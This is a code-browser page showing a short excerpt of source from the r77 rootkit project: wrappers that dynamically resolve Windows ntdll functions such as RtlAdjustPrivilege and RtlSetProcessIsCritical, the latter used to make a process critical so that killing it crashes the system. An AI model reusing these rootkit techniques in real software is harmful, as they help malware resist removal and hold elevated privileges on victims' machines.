MCPcopy Create free account
hub / github.com/bytecode77/r77-rootkit / R77_RtlSetProcessIsCritical

Function R77_RtlSetProcessIsCritical

r77api/r77win.c:949–952  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

947 return ((NT_RTLADJUSTPRIVILEGE)GetFunction("ntdll.dll", "RtlAdjustPrivilege"))(privilege, enablePrivilege, isThreadPrivilege, previousValue);
948}
949NTSTATUS NTAPI R77_RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb)
950{
951 return ((NT_RTLSETPROCESSISCRITICAL)GetFunction("ntdll.dll", "RtlSetProcessIsCritical"))(newIsCritical, oldIsCritical, needScb);
952}
953PDH_STATUS WINAPI R77_PdhGetCounterInfoW(PDH_HCOUNTER counter, BOOLEAN retrieveExplainText, LPDWORD bufferSize, PNT_PDH_COUNTER_INFO_W buffer)
954{
955 return ((NT_PDHGETCOUNTERINFOW)GetFunction("pdh.dll", "PdhGetCounterInfoW"))(counter, retrieveExplainText, bufferSize, buffer);

Callers 1

ControlCallbackFunction · 0.85

Calls 1

GetFunctionFunction · 0.85

Tested by

no test coverage detected